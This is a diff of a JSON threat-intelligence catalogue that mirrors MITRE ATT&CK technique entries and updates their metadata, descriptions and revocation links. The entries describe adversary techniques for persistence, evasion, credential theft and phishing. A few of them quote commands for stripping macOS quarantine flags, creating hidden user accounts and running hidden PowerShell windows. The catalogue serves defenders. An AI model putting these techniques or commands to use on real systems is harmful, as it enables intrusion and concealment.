"30973a08-aed9-4edf-8604-9084ce1b5c4f", @@ -10061,24 +18010,21 @@ "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).", "meta": { "external_id": "T1161", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Binary file metadata", - "Process monitoring", - "Process command-line parameters", - "File monitoring" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1161", "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf" ] }, + "related": [ + { + "dest-uuid": "10ff21b9-5a01-4268-a1b5-3b55015f1847", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb", "value": "LC_LOAD_DYLIB Addition - T1161" }, @@ -10086,29 +18032,28 @@ "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "meta": { "external_id": "T1116", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Binary file metadata" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1116", "https://en.wikipedia.org/wiki/Code_signing", + "http://www.thesafemac.com/new-signed-malware-called-janicab/", "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", - "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", - "http://www.thesafemac.com/new-signed-malware-called-janicab/" + "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates" ] }, + "related": [ + { + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", "value": "Code Signing - T1116" }, { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify and move files.", + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.", "meta": { "external_id": "T1119", "kill_chain": [ @@ -10132,7 +18077,7 @@ "value": "Automated Collection - T1119" }, { - "description": "Microsoft’s Open Office XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse this technology to initially conceal malicious code to be executed via documents (i.e. [Scripting](https://attack.mitre.org/techniques/T1064)). Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)", + "description": "Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)", "meta": { "external_id": "T1221", "kill_chain": [ @@ -10187,7 +18132,7 @@ "value": "Audio Capture - T1123" }, { - "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", + "description": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", "meta": { "external_id": "T1132", "kill_chain": [ @@ -10262,16 +18207,6 @@ "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).", "meta": { "external_id": "CAPEC-564", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "File monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1162", "https://capec.mitre.org/data/definitions/564.html", @@ -10281,6 +18216,15 @@ "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" ] }, + "related": [ + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", "value": "Login Item - T1162" }, @@ -10288,23 +18232,20 @@ "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", "meta": { "external_id": "T1172", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_data_sources": [ - "SSL/TLS inspection", - "Packet capture" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1172", "http://www.icir.org/vern/papers/meek-PETS-2015.pdf" ] }, + "related": [ + { + "dest-uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd", "value": "Domain Fronting - T1172" }, @@ -10312,18 +18253,6 @@ "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "meta": { "external_id": "T1182", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Loaded DLLs", - "Process monitoring", - "Windows Registry" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1182", "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", @@ -10331,6 +18260,15 @@ "https://forum.sysinternals.com/appcertdlls_topic12546.html" ] }, + "related": [ + { + "dest-uuid": "7d57b371-10c2-45e5-b3cc-83a8fb380e4c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025", "value": "AppCert DLLs - T1182" }, @@ -10338,34 +18276,48 @@ "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", "meta": { "external_id": "CAPEC-163", - "kill_chain": [ - "mitre-attack:initial-access" - ], - "mitre_data_sources": [ - "Packet capture", - "Web proxy", - "Email gateway", - "Detonation chamber", - "SSL/TLS inspection", - "DNS records", - "Mail server" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux", - "Office 365", - "SaaS" - ], "refs": [ "https://attack.mitre.org/techniques/T1192", "https://capec.mitre.org/data/definitions/163.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks" ] }, + "related": [ + { + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", "value": "Spearphishing Link - T1192" }, + { + "description": "Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary code on a victim system. For example, malware may execute share modules to load additional components or features.", + "meta": { + "external_id": "T1129", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1129", + "https://en.wikipedia.org/wiki/Microsoft_Windows_library_files" + ] + }, + "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "value": "Shared Modules - T1129" + }, { "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)", "meta": { @@ -10393,26 +18345,21 @@ "description": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n", "meta": { "external_id": "T1143", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Windows event logs", - "PowerShell logs", - "Process command-line parameters", - "Process monitoring", - "File monitoring" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1143", "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1", "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" ] }, + "related": [ + { + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", "value": "Hidden Window - T1143" }, @@ -10440,7 +18387,7 @@ "value": "Screen Capture - T1513" }, { - "description": "Adversaries with a sufficient level of access may create a local system, domain, or cloud tenant account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nIn cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.\n\n### Windows\n\nThe net user commands can be used to create a local or domain account.\n\n### Office 365\n\nAn adversary with access to a Global Admin account can create another account and assign it the Global Admin role for persistent access to the Office 365 tenant.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)", + "description": "Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", "meta": { "external_id": "T1136", "kill_chain": [ @@ -10467,8 +18414,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1136", - "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide", - "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d", "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" ] }, @@ -10479,31 +18424,26 @@ "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", "meta": { "external_id": "T1138", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Loaded DLLs", - "System calls", - "Windows Registry", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1138", "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf" ] }, + "related": [ + { + "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566", "value": "Application Shimming - T1138" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nAttempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nAttempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)", "meta": { "external_id": "T1381", "kill_chain": [ @@ -10520,27 +18460,20 @@ "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", "meta": { "external_id": "CAPEC-163", - "kill_chain": [ - "mitre-attack:initial-access" - ], - "mitre_data_sources": [ - "File monitoring", - "Packet capture", - "Network intrusion detection system", - "Detonation chamber", - "Email gateway", - "Mail server" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], "refs": [ "https://attack.mitre.org/techniques/T1193", "https://capec.mitre.org/data/definitions/163.html" ] }, + "related": [ + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", "value": "Spearphishing Attachment - T1193" }, @@ -10548,23 +18481,20 @@ "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", "meta": { "external_id": "T1139", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1139", "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" ] }, + "related": [ + { + "dest-uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "44dca04b-808d-46ca-b25f-d85236d4b9f8", "value": "Bash History - T1139" }, @@ -10572,16 +18502,6 @@ "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)", "meta": { "external_id": "T1144", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1144", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", @@ -10590,24 +18510,45 @@ "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/" ] }, + "related": [ + { + "dest-uuid": "31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e", "value": "Gatekeeper Bypass - T1144" }, + { + "description": "Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices)\n\nMalicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019)\n\nMalicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)", + "meta": { + "external_id": "APP-19", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1541", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html", + "https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices", + "https://developer.android.com/guide/components/services.html#Foreground", + "https://i.blackhat.com/eu-19/Thursday/eu-19-Sutter-Simple-Spyware-Androids-Invisible-Foreground-Services-And-How-To-Abuse-Them.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/fake-photo-beautification-apps-on-google-play-can-read-sms-verification-code-to-trigger-wireless-application-protocol-wap-carrier-billing/" + ] + }, + "uuid": "648f8051-1a35-46d3-b1d8-3a3f5cf2cc8e", + "value": "Foreground Persistence - T1541" + }, { "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)", "meta": { "external_id": "T1145", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1145", "https://en.wikipedia.org/wiki/Public-key_cryptography", @@ -10615,6 +18556,15 @@ "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/" ] }, + "related": [ + { + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", "value": "Private Keys - T1145" }, @@ -10666,21 +18616,20 @@ "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).", "meta": { "external_id": "T1147", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Authentication logs", - "File monitoring" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1147", "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty" ] }, + "related": [ + { + "dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", "value": "Hidden Users - T1147" }, @@ -10709,16 +18658,6 @@ "description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a 